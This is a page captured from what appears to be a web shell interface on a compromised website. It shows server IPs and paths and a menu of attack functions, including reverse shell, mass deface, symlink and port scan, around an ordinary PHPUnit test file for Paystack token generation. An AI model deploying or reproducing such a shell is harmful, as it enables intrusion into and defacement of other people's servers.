ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
vendor
/
devrabiul
/
laravel-paystack
/
tests
/
Viewing: TransRefTest.php
<?php namespace Unicodeveloper\Paystack\Test; use PHPUnit\Framework\TestCase; use Unicodeveloper\Paystack\TransRef; class TransRefTest extends TestCase { private $deprecations = []; public function setUp(): void { parent::setUp(); // Capture deprecation notices set_error_handler(function ($errno, $errstr, $errfile, $errline) { if ($errno === E_DEPRECATED) { $this->deprecations[] = $errstr; } return false; // Continue with normal error handling }, E_DEPRECATED); } public function tearDown(): void { restore_error_handler(); // Output any captured deprecations if (!empty($this->deprecations)) { fwrite(STDERR, "Captured deprecations in " . $this->getName() . ":\n"); foreach ($this->deprecations as $deprecation) { fwrite(STDERR, " - " . $deprecation . "\n"); } } parent::tearDown(); } public function testGeneratesTokenOfCorrectLength(): void { $token = TransRef::getHashedToken(32); $this->assertIsString($token); $this->assertSame(32, strlen($token)); } public function testGeneratesDifferentTokens(): void { $token1 = TransRef::getHashedToken(16); $token2 = TransRef::getHashedToken(16); $this->assertNotSame($token1, $token2, 'Tokens should be random'); } public function testUsesDefaultLength(): void { $token = TransRef::getHashedToken(); $this->assertSame(25, strlen($token)); } }
Coded With 💗 by
0x6ick